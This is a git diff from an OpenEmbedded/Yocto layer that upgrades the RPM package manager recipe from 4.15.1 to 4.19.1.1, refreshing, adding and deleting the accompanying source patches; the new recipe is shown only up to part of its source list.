diff --git a/meta/recipes-devtools/rpm/files/0001-lib-transaction.c-fix-file-conflicts-for-MIPS64-N32.patch b/meta/recipes-devtools/rpm/files/0001-lib-transaction.c-fix-file-conflicts-for-MIPS64-N32.patch
index 6678c105cd..98e52da3a8 100644
--- a/meta/recipes-devtools/rpm/files/0001-lib-transaction.c-fix-file-conflicts-for-MIPS64-N32.patch
+++ b/meta/recipes-devtools/rpm/files/0001-lib-transaction.c-fix-file-conflicts-for-MIPS64-N32.patch
@@ -1,4 +1,4 @@
-From 1ed066fc6fa7d7afffe3545c4e3ea937529e6c49 Mon Sep 17 00:00:00 2001
+From b04ecb793a3c859985eead5e261785b27a4c4a20 Mon Sep 17 00:00:00 2001
From: Changqing Li <changqing.li@windriver.com>
Date: Thu, 7 May 2020 17:40:58 +0800
Subject: [PATCH] lib/transaction.c: fix file conflicts for MIPS64 N32
@@ -32,10 +32,10 @@ Signed-off-by: Changqing Li <changqing.li@windriver.com>
1 file changed, 12 insertions(+), 1 deletion(-)
diff --git a/lib/transaction.c b/lib/transaction.c
-index 67b9db5..82386b8 100644
+index 70d2587ac..b89b30060 100644
--- a/lib/transaction.c
+++ b/lib/transaction.c
-@@ -391,7 +391,18 @@ static int handleColorConflict(rpmts ts,
+@@ -400,7 +400,18 @@ static int handleColorConflict(rpmts ts,
rpmfsSetAction(ofs, ofx, FA_CREATE);
rpmfsSetAction(fs, fx, FA_SKIPCOLOR);
rConflicts = 0;
@@ -55,6 +55,3 @@ index 67b9db5..82386b8 100644
}
}
---
-2.7.4
-
diff --git a/meta/recipes-devtools/rpm/files/0001-perl-disable-auto-reqs.patch b/meta/recipes-devtools/rpm/files/0001-perl-disable-auto-reqs.patch
index a6c58699d3..55108e7f1c 100644
--- a/meta/recipes-devtools/rpm/files/0001-perl-disable-auto-reqs.patch
+++ b/meta/recipes-devtools/rpm/files/0001-perl-disable-auto-reqs.patch
@@ -1,4 +1,7 @@
-perl: disable auto requires
+From 58bf006646a063837c46b695f7e7ebb69bee7238 Mon Sep 17 00:00:00 2001
+From: Mark Hatle <mark.hatle@windriver.com>
+Date: Tue, 15 Aug 2017 16:41:57 -0500
+Subject: [PATCH] perl: disable auto requires
When generating automatic requirements, it's possible for perl scripts to
declare 'optional' dependencies. These seem to often be incorrect and will
@@ -9,20 +12,24 @@ generation. This matches the behavior from the previous RPM5 implementation.
Upstream-Status: Inappropriate [OE specific configuration]
Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
+---
+ fileattrs/perl.attr | 2 +-
+ fileattrs/perllib.attr | 2 +-
+ 2 files changed, 2 insertions(+), 2 deletions(-)
-Index: git/fileattrs/perl.attr
-===================================================================
---- git.orig/fileattrs/perl.attr
-+++ git/fileattrs/perl.attr
+diff --git a/fileattrs/perl.attr b/fileattrs/perl.attr
+index 0daef58d5..81ddf5305 100644
+--- a/fileattrs/perl.attr
++++ b/fileattrs/perl.attr
@@ -1,3 +1,3 @@
-%__perl_requires %{_rpmconfigdir}/perl.req
+#__perl_requires %{_rpmconfigdir}/perl.req
%__perl_magic ^.*[Pp]erl .*$
%__perl_flags exeonly
-Index: git/fileattrs/perllib.attr
-===================================================================
---- git.orig/fileattrs/perllib.attr
-+++ git/fileattrs/perllib.attr
+diff --git a/fileattrs/perllib.attr b/fileattrs/perllib.attr
+index fcad48099..495a28927 100644
+--- a/fileattrs/perllib.attr
++++ b/fileattrs/perllib.attr
@@ -1,5 +1,5 @@
%__perllib_provides %{_rpmconfigdir}/perl.prov
-%__perllib_requires %{_rpmconfigdir}/perl.req
diff --git a/meta/recipes-devtools/rpm/files/0001-rpm-rpmio.c-restrict-virtual-memory-usage-if-limit-s.patch b/meta/recipes-devtools/rpm/files/0001-rpm-rpmio.c-restrict-virtual-memory-usage-if-limit-s.patch
deleted file mode 100644
index 6454785254..0000000000
--- a/meta/recipes-devtools/rpm/files/0001-rpm-rpmio.c-restrict-virtual-memory-usage-if-limit-s.patch
+++ /dev/null
@@ -1,65 +0,0 @@
-From 0066b862bb3a09f39295abd5d972a53ac8dc1555 Mon Sep 17 00:00:00 2001
-From: Peter Bergin <peter@berginkonsult.se>
-Date: Wed, 19 Sep 2018 15:12:31 +0200
-Subject: [PATCH] rpm/rpmio.c: restrict virtual memory usage if limit set
-
-A solution to avoid OOM situation when the virtual memory is restricted
-for a user (ulimit -v). As the lzopen_internal function is run in parallel
-one instance per CPU thread the available virtual memory is limited per
-CPU thread.
-
-Upstream-Status: Pending [merge of multithreading patches to upstream]
-
-Signed-off-by: Peter Bergin <peter@berginkonsult.se>
----
- rpmio/rpmio.c | 34 ++++++++++++++++++++++++++++++++++
- 1 file changed, 34 insertions(+)
-
-diff --git a/rpmio/rpmio.c b/rpmio/rpmio.c
-index e051c98..b3c56b6 100644
---- a/rpmio/rpmio.c
-+++ b/rpmio/rpmio.c
-@@ -845,6 +845,40 @@ static LZFILE *lzopen_internal(const char *mode, int fd, int xz)
- }
- #endif
-
-+ struct rlimit virtual_memory;
-+ getrlimit(RLIMIT_AS, &virtual_memory);
-+ if (virtual_memory.rlim_cur != RLIM_INFINITY) {
-+ const uint64_t virtual_memlimit = virtual_memory.rlim_cur;
-+ const uint64_t virtual_memlimit_per_cpu_thread =
-+ virtual_memlimit / lzma_cputhreads();
-+ uint64_t memory_usage_virt;
-+ rpmlog(RPMLOG_NOTICE, "XZ: virtual memory restricted to %lu and "
-+ "per CPU thread %lu\n", virtual_memlimit, virtual_memlimit_per_cpu_thread);
-+ /* keep reducing the number of compression threads until memory
-+ usage falls below the limit per CPU thread*/
-+ while ((memory_usage_virt = lzma_stream_encoder_mt_memusage(&mt_options)) >
-+ virtual_memlimit_per_cpu_thread) {
-+ /* If number of threads goes down to zero lzma_stream_encoder will
-+ * will return UINT64_MAX. We must check here to avoid an infinite loop.
-+ * If we get into situation that one thread requires more virtual memory
-+ * than available we set one thread, print error message and try anyway. */
-+ if (--mt_options.threads == 0) {
-+ mt_options.threads = 1;
-+ rpmlog(RPMLOG_WARNING,
-+ "XZ: Could not adjust number of threads to get below "
-+ "virtual memory limit %lu. usage %lu\n",
-+ virtual_memlimit_per_cpu_thread, memory_usage_virt);
-+ break;
-+ }
-+ }
-+ if (threads != (int)mt_options.threads)
-+ rpmlog(RPMLOG_NOTICE,
-+ "XZ: Adjusted the number of threads from %d to %d to not "
-+ "exceed the memory usage limit of %lu bytes\n",
-+ threads, mt_options.threads, virtual_memlimit);
-+
-+ }
-+
- ret = lzma_stream_encoder_mt(&lzfile->strm, &mt_options);
- }
- #endif
---
-2.7.4
-
diff --git a/meta/recipes-devtools/rpm/files/0001-rpmfc.c-do-not-run-file-classification-in-parallel.patch b/meta/recipes-devtools/rpm/files/0001-rpmfc.c-do-not-run-file-classification-in-parallel.patch
deleted file mode 100644
index d8d338792d..0000000000
--- a/meta/recipes-devtools/rpm/files/0001-rpmfc.c-do-not-run-file-classification-in-parallel.patch
+++ /dev/null
@@ -1,65 +0,0 @@
-From 93c3c7f043f62e96941274e957c4ad9432032af1 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 18 Nov 2019 16:22:56 +0100
-Subject: [PATCH] rpmfc.c: do not run file classification in parallel
-
-This is causing freezes with libmagic when the file in question is compressed:
-https://github.com/rpm-software-management/rpm/issues/756
-
-Upstream-Status: Inappropriate [upstream wants a proper fix]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- build/rpmfc.c | 8 --------
- 1 file changed, 8 deletions(-)
-
-diff --git a/build/rpmfc.c b/build/rpmfc.c
-index 3db7a9352..17afdd57a 100644
---- a/build/rpmfc.c
-+++ b/build/rpmfc.c
-@@ -680,7 +680,6 @@ static void rpmfcAttributes(rpmfc fc, int ix, const char *ftype, const char *ful
- /* Add attributes on libmagic type & path pattern matches */
- if (matches(&(*attr)->incl, ftype, path, is_executable)) {
- argvAddTokens(&fc->fattrs[ix], (*attr)->name);
-- #pragma omp critical(fahash)
- fattrHashAddEntry(fc->fahash, attr-fc->atypes, ix);
- }
- }
-@@ -1105,7 +1104,6 @@ rpmRC rpmfcClassify(rpmfc fc, ARGV_t argv, rpm_mode_t * fmode)
- /* Build (sorted) file class dictionary. */
- fc->cdict = rpmstrPoolCreate();
-
-- #pragma omp parallel
- {
- /* libmagic is not thread-safe, each thread needs to a private handle */
- magic_t ms = magic_open(msflags);
-@@ -1113,15 +1111,12 @@ rpmRC rpmfcClassify(rpmfc fc, ARGV_t argv, rpm_mode_t * fmode)
- if (ms == NULL) {
- rpmlog(RPMLOG_ERR, _("magic_open(0x%x) failed: %s\n"),
- msflags, strerror(errno));
-- #pragma omp cancel parallel
- }
-
- if (magic_load(ms, NULL) == -1) {
- rpmlog(RPMLOG_ERR, _("magic_load failed: %s\n"), magic_error(ms));
-- #pragma omp cancel parallel
- }
-
-- #pragma omp for ordered reduction(+:nerrors)
- for (int ix = 0; ix < fc->nfiles; ix++) {
- rpmsid ftypeId;
- const char * ftype;
-@@ -1185,14 +1180,11 @@ rpmRC rpmfcClassify(rpmfc fc, ARGV_t argv, rpm_mode_t * fmode)
- fc->fcolor[ix] = fcolor;
-
- /* Add to file class dictionary and index array */
-- #pragma omp ordered
- if (fcolor != RPMFC_WHITE && (fcolor & RPMFC_INCLUDE)) {
- ftypeId = rpmstrPoolId(fc->cdict, ftype, 1);
-- #pragma omp atomic
- fc->fknown++;
- } else {
- ftypeId = rpmstrPoolId(fc->cdict, "", 1);
-- #pragma omp atomic
- fc->fwhite++;
- }
- /* Pool id's start from 1, for headers we want it from 0 */
diff --git a/meta/recipes-devtools/rpm/files/0001-rpmplugins.c-call-dlerror-prior-to-dlsym.patch b/meta/recipes-devtools/rpm/files/0001-rpmplugins.c-call-dlerror-prior-to-dlsym.patch
deleted file mode 100644
index 8842e3ebd7..0000000000
--- a/meta/recipes-devtools/rpm/files/0001-rpmplugins.c-call-dlerror-prior-to-dlsym.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-From 6878a83f9bac015c64d83cee42530a20a264cc5a Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Tue, 7 Jan 2020 12:02:06 +0100
-Subject: [PATCH] rpmplugins.c: call dlerror() prior to dlsym()
-
-This is the recommended way in the manpage; if there is
-a lingering error from an unrelated dl*() call that was
-never obtained via dlerror(), it needs to be cleared
-prior to calling dlsym().
-
-Upstream-Status: Submitted [https://github.com/rpm-software-management/rpm/pull/998]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- lib/rpmplugins.c | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/lib/rpmplugins.c b/lib/rpmplugins.c
-index 65e684e84..b950f85cf 100644
---- a/lib/rpmplugins.c
-+++ b/lib/rpmplugins.c
-@@ -68,6 +68,8 @@ static rpmPlugin rpmPluginNew(const char *name, const char *path,
-
- /* make sure the plugin has the supported hooks flag */
- hooks_name = rstrscat(NULL, name, "_hooks", NULL);
-+ /* clear out any old errors that weren't fetched */
-+ dlerror();
- hooks = dlsym(handle, hooks_name);
- if ((error = dlerror()) != NULL) {
- rpmlog(RPMLOG_ERR, _("Failed to resolve symbol %s: %s\n"),
diff --git a/meta/recipes-devtools/rpm/files/0002-Add-support-for-prefixing-etc-from-RPM_ETCCONFIGDIR-.patch b/meta/recipes-devtools/rpm/files/0002-Add-support-for-prefixing-etc-from-RPM_ETCCONFIGDIR-.patch
index b3dbc319b6..c5caa7dc5e 100644
--- a/meta/recipes-devtools/rpm/files/0002-Add-support-for-prefixing-etc-from-RPM_ETCCONFIGDIR-.patch
+++ b/meta/recipes-devtools/rpm/files/0002-Add-support-for-prefixing-etc-from-RPM_ETCCONFIGDIR-.patch
@@ -1,7 +1,7 @@
-From 383c0b097b7eba16801a9e3c4b8e36a4b6de74ab Mon Sep 17 00:00:00 2001
+From d7143dc4e75c8bcc5cc4c852a4b972942b7e4d07 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 20 Jan 2017 13:33:05 +0200
-Subject: [PATCH 2/2] Add support for prefixing /etc from RPM_ETCCONFIGDIR
+Subject: [PATCH] Add support for prefixing /etc from RPM_ETCCONFIGDIR
environment variable
This is needed so that rpm can pick up target-specific configuration
@@ -14,10 +14,10 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 14 insertions(+), 5 deletions(-)
diff --git a/lib/rpmrc.c b/lib/rpmrc.c
-index 19fe80f98..6b27b3941 100644
+index 483585ae4..ea858c290 100644
--- a/lib/rpmrc.c
+++ b/lib/rpmrc.c
-@@ -455,10 +455,14 @@ const char * lookupInDefaultTable(const char * name,
+@@ -456,10 +456,14 @@ const char * lookupInDefaultTable(const char * name,
static void setDefaults(void)
{
const char *confdir = rpmConfigDir();
@@ -27,26 +27,26 @@ index 19fe80f98..6b27b3941 100644
+
if (!defrcfiles) {
defrcfiles = rstrscat(NULL, confdir, "/rpmrc", ":",
- confdir, "/" RPMCANONVENDOR "/rpmrc", ":",
-- SYSCONFDIR "/rpmrc", ":");
-+ etcconfdir, SYSCONFDIR "/rpmrc", ":", NULL);
+ confdir, "/" RPM_VENDOR "/rpmrc", ":",
+- SYSCONFDIR "/rpmrc", NULL);
++ etcconfdir, SYSCONFDIR "/rpmrc", NULL);
}
#ifndef MACROFILES
-@@ -468,9 +472,9 @@ static void setDefaults(void)
+@@ -469,9 +473,9 @@ static void setDefaults(void)
confdir, "/platform/%{_target}/macros", ":",
confdir, "/fileattrs/*.attr", ":",
- confdir, "/" RPMCANONVENDOR "/macros", ":",
+ confdir, "/" RPM_VENDOR "/macros", ":",
- SYSCONFDIR "/rpm/macros.*", ":",
- SYSCONFDIR "/rpm/macros", ":",
-- SYSCONFDIR "/rpm/%{_target}/macros", ":");
+- SYSCONFDIR "/rpm/%{_target}/macros", NULL);
+ etcconfdir, SYSCONFDIR "/rpm/macros.*", ":",
+ etcconfdir, SYSCONFDIR "/rpm/macros", ":",
-+ etcconfdir, SYSCONFDIR "/rpm/%{_target}/macros", ":", NULL);
++ etcconfdir, SYSCONFDIR "/rpm/%{_target}/macros", NULL);
}
#else
macrofiles = MACROFILES;
-@@ -989,7 +993,11 @@ static void read_auxv(void)
+@@ -1115,7 +1119,11 @@ static void read_auxv(void)
*/
static void defaultMachine(rpmrcCtx ctx, const char ** arch, const char ** os)
{
@@ -59,7 +59,7 @@ index 19fe80f98..6b27b3941 100644
static struct utsname un;
char * chptr;
canonEntry canon;
-@@ -1286,6 +1294,7 @@ static void defaultMachine(rpmrcCtx ctx, const char ** arch, const char ** os)
+@@ -1435,6 +1443,7 @@ static void defaultMachine(rpmrcCtx ctx, const char ** arch, const char ** os)
if (arch) *arch = un.machine;
if (os) *os = un.sysname;
@@ -67,6 +67,3 @@ index 19fe80f98..6b27b3941 100644
}
static
---
-2.11.0
-
diff --git a/meta/recipes-devtools/rpm/files/0002-rpmio-rpmglob.c-avoid-using-GLOB_BRACE-if-undefined-.patch b/meta/recipes-devtools/rpm/files/0002-rpmio-rpmglob.c-avoid-using-GLOB_BRACE-if-undefined-.patch
new file mode 100644
index 0000000000..23dce30086
--- /dev/null
+++ b/meta/recipes-devtools/rpm/files/0002-rpmio-rpmglob.c-avoid-using-GLOB_BRACE-if-undefined-.patch
@@ -0,0 +1,34 @@
+From 29c2a0c18b0c773128bf62c611b4c53fe4471105 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Tue, 16 Jan 2024 09:59:26 +0100
+Subject: [PATCH] rpmio/rpmglob.c: avoid using GLOB_BRACE if undefined by C
+ library
+
+This addresses musl failures; if there is code out there relying on
+those braces, it needs to be fixed when used on musl.
+
+This is unlikely to be trivially fixable upstream.
+
+Upstream-Status: Inappropriate [reported at https://github.com/rpm-software-management/rpm/issues/2844]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ rpmio/rpmglob.c | 6 ++++++
+ 1 file changed, 6 insertions(+)
+
+diff --git a/rpmio/rpmglob.c b/rpmio/rpmglob.c
+index 243568766..43c27074a 100644
+--- a/rpmio/rpmglob.c
++++ b/rpmio/rpmglob.c
+@@ -33,6 +33,12 @@
+
+ #include "debug.h"
+
++/* Don't fail if the standard C library
+++ * doesn't provide brace expansion */
++#ifndef GLOB_BRACE
++#define GLOB_BRACE 0
++#endif
++
+ /* Return 1 if pattern contains a magic char, see glob(7) for a list */
+ static int ismagic(const char *pattern)
+ {
diff --git a/meta/recipes-devtools/rpm/files/0011-Do-not-require-that-ELF-binaries-are-executable-to-b.patch b/meta/recipes-devtools/rpm/files/0011-Do-not-require-that-ELF-binaries-are-executable-to-b.patch
deleted file mode 100644
index 4ac5c38f06..0000000000
--- a/meta/recipes-devtools/rpm/files/0011-Do-not-require-that-ELF-binaries-are-executable-to-b.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 5141d50d7b3d3c209a22c53deedb4ceef014401d Mon Sep 17 00:00:00 2001
-From: Peter Kjellerstedt <pkj@axis.com>
-Date: Mon, 15 May 2017 10:21:08 +0200
-Subject: [PATCH 09/15] Do not require that ELF binaries are executable to be
- identifiable
-
-There is nothing that requires, e.g., a DSO to be executable, but it
-is still an ELF binary and should be identified as such.
-
-Upstream probably expects all ELF binaries to be marked as executable,
-but rather than imposing such a limitation for OE, allow any file to
-be identified as an ELF binary regardless of whether it is executable
-or not.
-
-Upstream-Status: Inappropriate
-Signed-off-by: Peter Kjellerstedt <peter.kjellerstedt@axis.com>
-
----
- fileattrs/elf.attr | 1 -
- 1 file changed, 1 deletion(-)
-
-diff --git a/fileattrs/elf.attr b/fileattrs/elf.attr
-index 5805dd0ee..3516f309d 100644
---- a/fileattrs/elf.attr
-+++ b/fileattrs/elf.attr
-@@ -1,4 +1,3 @@
- %__elf_provides %{_rpmconfigdir}/elfdeps --provides %{?__filter_GLIBC_PRIVATE:--filter-private}
- %__elf_requires %{_rpmconfigdir}/elfdeps --requires %{?__filter_GLIBC_PRIVATE:--filter-private}
- %__elf_magic ^(setuid,? )?(setgid,? )?(sticky )?ELF (32|64)-bit.*$
--%__elf_flags exeonly
---
-2.14.2
-
diff --git a/meta/recipes-devtools/rpm/files/0016-rpmscript.c-change-logging-level-around-scriptlets-t.patch b/meta/recipes-devtools/rpm/files/0016-rpmscript.c-change-logging-level-around-scriptlets-t.patch
index 43e9859ef3..732202c46f 100644
--- a/meta/recipes-devtools/rpm/files/0016-rpmscript.c-change-logging-level-around-scriptlets-t.patch
+++ b/meta/recipes-devtools/rpm/files/0016-rpmscript.c-change-logging-level-around-scriptlets-t.patch
@@ -1,4 +1,4 @@
-From 989e425d416474c191b020d0825895e3df4bd033 Mon Sep 17 00:00:00 2001
+From f01d9c24bb86bc47ad2453483518dbb25953cac7 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Thu, 10 Jan 2019 18:14:18 +0100
Subject: [PATCH] rpmscript.c: change logging level around scriptlets to INFO
@@ -14,10 +14,10 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/lib/rpmscript.c b/lib/rpmscript.c
-index 2b0e43862..e319673f1 100644
+index 7b7e26606..1dcd23be5 100644
--- a/lib/rpmscript.c
+++ b/lib/rpmscript.c
-@@ -226,7 +226,7 @@ static char * writeScript(const char *cmd, const char *script)
+@@ -291,7 +291,7 @@ static char * writeScript(const char *cmd, const char *script)
if (Ferror(fd))
goto exit;
@@ -26,7 +26,7 @@ index 2b0e43862..e319673f1 100644
static const char set_x[] = "set -x\n";
/* Assume failures will be caught by the write below */
Fwrite(set_x, sizeof(set_x[0]), sizeof(set_x)-1, fd);
-@@ -258,7 +258,7 @@ static rpmRC runExtScript(rpmPlugins plugins, ARGV_const_t prefixes,
+@@ -323,7 +323,7 @@ static rpmRC runExtScript(rpmPlugins plugins, ARGV_const_t prefixes,
char *mline = NULL;
rpmRC rc = RPMRC_FAIL;
@@ -35,7 +35,7 @@ index 2b0e43862..e319673f1 100644
if (script) {
fn = writeScript(*argvp[0], script);
-@@ -310,7 +310,7 @@ static rpmRC runExtScript(rpmPlugins plugins, ARGV_const_t prefixes,
+@@ -375,7 +375,7 @@ static rpmRC runExtScript(rpmPlugins plugins, ARGV_const_t prefixes,
sname, strerror(errno));
goto exit;
} else if (pid == 0) {/* Child */
@@ -44,7 +44,7 @@ index 2b0e43862..e319673f1 100644
sname, *argvp[0], (unsigned)getpid());
fclose(in);
-@@ -353,7 +353,7 @@ static rpmRC runExtScript(rpmPlugins plugins, ARGV_const_t prefixes,
+@@ -418,7 +418,7 @@ static rpmRC runExtScript(rpmPlugins plugins, ARGV_const_t prefixes,
reaped = waitpid(pid, &status, 0);
} while (reaped == -1 && errno == EINTR);
diff --git a/meta/recipes-devtools/rpm/files/environment.d-rpm.sh b/meta/recipes-devtools/rpm/files/environment.d-rpm.sh
deleted file mode 100644
index 9b669a18d1..0000000000
--- a/meta/recipes-devtools/rpm/files/environment.d-rpm.sh
+++ /dev/null
@@ -1 +0,0 @@
-export RPM_CONFIGDIR="$OECORE_NATIVE_SYSROOT/usr/lib/rpm"
diff --git a/meta/recipes-devtools/rpm/rpm_4.15.1.bb b/meta/recipes-devtools/rpm/rpm_4.15.1.bb
deleted file mode 100644
index c9258632d2..0000000000
--- a/meta/recipes-devtools/rpm/rpm_4.15.1.bb
+++ /dev/null
@@ -1,156 +0,0 @@
-SUMMARY = "The RPM package management system"
-DESCRIPTION = "The RPM Package Manager (RPM) is a powerful command line driven \
-package management system capable of installing, uninstalling, \
-verifying, querying, and updating software packages. Each software \
-package consists of an archive of files along with information about \
-the package like its version, a description, etc."
-
-SUMMARY_${PN}-dev = "Development files for manipulating RPM packages"
-DESCRIPTION_${PN}-dev = "This package contains the RPM C library and header files. These \
-development files will simplify the process of writing programs that \
-manipulate RPM packages and databases. These files are intended to \
-simplify the process of creating graphical package managers or any \
-other tools that need an intimate knowledge of RPM packages in order \
-to function."
-
-SUMMARY_python3-rpm = "Python bindings for apps which will manupulate RPM packages"
-DESCRIPTION_python3-rpm = "The python3-rpm package contains a module that permits applications \
-written in the Python programming language to use the interface \
-supplied by the RPM Package Manager libraries."
-
-HOMEPAGE = "http://www.rpm.org"
-
-# libraries are also LGPL - how to express this?
-LICENSE = "GPL-2.0"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c0bf017c0fd1920e6158a333acabfd4a"
-
-SRC_URI = "git://github.com/rpm-software-management/rpm;branch=rpm-4.15.x \
- file://environment.d-rpm.sh \
- file://0001-Do-not-add-an-unsatisfiable-dependency-when-building.patch \
- file://0001-Do-not-read-config-files-from-HOME.patch \
- file://0001-When-cross-installing-execute-package-scriptlets-wit.patch \
- file://0001-Do-not-reset-the-PATH-environment-variable-before-ru.patch \
- file://0002-Add-support-for-prefixing-etc-from-RPM_ETCCONFIGDIR-.patch \
- file://0001-Do-not-hardcode-lib-rpm-as-the-installation-path-for.patch \
- file://0001-Fix-build-with-musl-C-library.patch \
- file://0001-Add-a-color-setting-for-mips64_n32-binaries.patch \
- file://0011-Do-not-require-that-ELF-binaries-are-executable-to-b.patch \
- file://0001-perl-disable-auto-reqs.patch \
- file://0001-rpm-rpmio.c-restrict-virtual-memory-usage-if-limit-s.patch \
- file://0016-rpmscript.c-change-logging-level-around-scriptlets-t.patch \
- file://0001-rpmplugins.c-call-dlerror-prior-to-dlsym.patch \
- file://0001-rpmfc.c-do-not-run-file-classification-in-parallel.patch \
- file://0001-lib-transaction.c-fix-file-conflicts-for-MIPS64-N32.patch \
- file://0001-Bump-up-the-limit-of-signature-header-to-64MB.patch \
- "
-
-PE = "1"
-SRCREV = "ab2179452c5be276a6b96c591afded485c7e58c3"
-
-S = "${WORKDIR}/git"
-
-DEPENDS = "openssl libarchive db file popt xz bzip2 dbus elfutils python3"
-DEPENDS_append_class-native = " file-replacement-native bzip2-replacement-native"
-
-inherit autotools gettext pkgconfig python3native
-export PYTHON_ABI
-
-# OE-core patches autoreconf to additionally run gnu-configize, which fails with this recipe
-EXTRA_AUTORECONF_append = " --exclude=gnu-configize"
-
-EXTRA_OECONF_append = " --without-lua --enable-python --with-crypto=openssl"
-EXTRA_OECONF_append_libc-musl = " --disable-nls --disable-openmp"
-
-# --sysconfdir prevents rpm from attempting to access machine-specific configuration in sysroot/etc; we need to have it in rootfs
-#
-# --localstatedir prevents rpm from writing its database to native sysroot when building images
-#
-# Disable dbus for native, so that rpm doesn't attempt to inhibit shutdown via session dbus even when plugins support is enabled.
-# Also disable plugins by default for native.
-EXTRA_OECONF_append_class-native = " --sysconfdir=/etc --localstatedir=/var --disable-plugins"
-EXTRA_OECONF_append_class-nativesdk = " --sysconfdir=/etc --disable-plugins"
-
-BBCLASSEXTEND = "native nativesdk"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[imaevm] = "--with-imaevm,,ima-evm-utils"
-
-ASNEEDED = ""
-
-# Direct rpm-native to read configuration from our sysroot, not the one it was compiled in
-# libmagic also has sysroot path contamination, so override it
-
-WRAPPER_TOOLS = " \
- ${bindir}/rpm \
- ${bindir}/rpm2archive \
- ${bindir}/rpm2cpio \
- ${bindir}/rpmbuild \
- ${bindir}/rpmdb \
- ${bindir}/rpmgraph \
- ${bindir}/rpmkeys \
- ${bindir}/rpmsign \
- ${bindir}/rpmspec \
- ${libdir}/rpm/rpmdeps \
-"
-
-do_install_append_class-native() {
- for tool in ${WRAPPER_TOOLS}; do
- create_wrapper ${D}$tool \
- RPM_CONFIGDIR=${STAGING_LIBDIR_NATIVE}/rpm \
- RPM_ETCCONFIGDIR=${STAGING_DIR_NATIVE} \
- MAGIC=${STAGING_DIR_NATIVE}${datadir_native}/misc/magic.mgc \
- RPM_NO_CHROOT_FOR_SCRIPTS=1
- done
-}
-
-do_install_append_class-nativesdk() {
- for tool in ${WRAPPER_TOOLS}; do
- create_wrapper ${D}$tool \
- RPM_CONFIGDIR='`dirname $''realpath`'/${@os.path.relpath(d.getVar('libdir'), d.getVar('bindir'))}/rpm \
- RPM_ETCCONFIGDIR='$'{RPM_ETCCONFIGDIR-'`dirname $''realpath`'/${@os.path.relpath(d.getVar('sysconfdir'), d.getVar('bindir'))}/..} \
- MAGIC='`dirname $''realpath`'/${@os.path.relpath(d.getVar('datadir'), d.getVar('bindir'))}/misc/magic.mgc \
- RPM_NO_CHROOT_FOR_SCRIPTS=1
- done
-
- rm -rf ${D}/var
-
- mkdir -p ${D}${SDKPATHNATIVE}/environment-setup.d
- install -m 644 ${WORKDIR}/environment.d-rpm.sh ${D}${SDKPATHNATIVE}/environment-setup.d/rpm.sh
-}
-
-# Rpm's make install creates var/tmp which clashes with base-files packaging
-do_install_append_class-target() {
- rm -rf ${D}/var
-}
-
-do_install_append () {
- sed -i -e 's:${HOSTTOOLS_DIR}/::g' \
- ${D}/${libdir}/rpm/macros
-
- sed -i -e 's|/usr/bin/python|${USRBINPATH}/env ${PYTHON_PN}|' \
- ${D}${libdir}/rpm/pythondistdeps.py
-}
-
-FILES_${PN} += "${libdir}/rpm-plugins/*.so \
- "
-FILES_${PN}_append_class-nativesdk = " ${SDKPATHNATIVE}/environment-setup.d/rpm.sh"
-
-FILES_${PN}-dev += "${libdir}/rpm-plugins/*.la \
- "
-
-PACKAGES += "python3-rpm"
-PROVIDES += "python3-rpm"
-FILES_python3-rpm = "${PYTHON_SITEPACKAGES_DIR}/rpm/*"
-
-# rpm 5.x was packaging the rpm build tools separately
-RPROVIDES_${PN} += "rpm-build"
-
-RDEPENDS_${PN} = "bash perl python3-core"
-
-PACKAGE_PREPROCESS_FUNCS += "rpm_package_preprocess"
-
-# Do not specify a sysroot when compiling on a target.
-rpm_package_preprocess () {
- sed -i -e 's:--sysroot[^ ]*::g' \
- ${PKGD}/${libdir}/rpm/macros
-}
diff --git a/meta/recipes-devtools/rpm/rpm_4.19.1.1.bb b/meta/recipes-devtools/rpm/rpm_4.19.1.1.bb
new file mode 100644
index 0000000000..0802f26295
--- /dev/null
+++ b/meta/recipes-devtools/rpm/rpm_4.19.1.1.bb
@@ -0,0 +1,197 @@
+SUMMARY = "The RPM package management system"
+DESCRIPTION = "The RPM Package Manager (RPM) is a powerful command line driven \
+package management system capable of installing, uninstalling, \
+verifying, querying, and updating software packages. Each software \
+package consists of an archive of files along with information about \
+the package like its version, a description, etc."
+
+SUMMARY:${PN}-dev = "Development files for manipulating RPM packages"
+DESCRIPTION:${PN}-dev = "This package contains the RPM C library and header files. These \
+development files will simplify the process of writing programs that \
+manipulate RPM packages and databases. These files are intended to \
+simplify the process of creating graphical package managers or any \
+other tools that need an intimate knowledge of RPM packages in order \
+to function."
+
+SUMMARY:python3-rpm = "Python bindings for apps which will manupulate RPM packages"
+DESCRIPTION:python3-rpm = "The python3-rpm package contains a module that permits applications \
+written in the Python programming language to use the interface \
+supplied by the RPM Package Manager libraries."
+
+HOMEPAGE = "http://www.rpm.org"
+
+# libraries are also LGPL - how to express this?
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c4eec0c20c6034b9407a09945b48a43f"
+
+SRC_URI = "git://github.com/rpm-software-management/rpm;branch=rpm-4.19.x;protocol=https \
+ file://0001-Do-not-add-an-unsatisfiable-dependency-when-building.patch \
+ file://0001-Do-not-read-config-files-from-HOME.patch \
+ file://0001-When-cross-installing-execute-package-scriptlets-wit.patch \
+ file://0001-Do-not-reset-the-PATH-environment-variable-before-ru.patch \
+ file://0002-Add-support-for-prefixing-etc-from-RPM_ETCCONFIGDIR-.patch \
+ file://0001-Do-not-hardcode-lib-rpm-as-the-installation-path-for.patch \
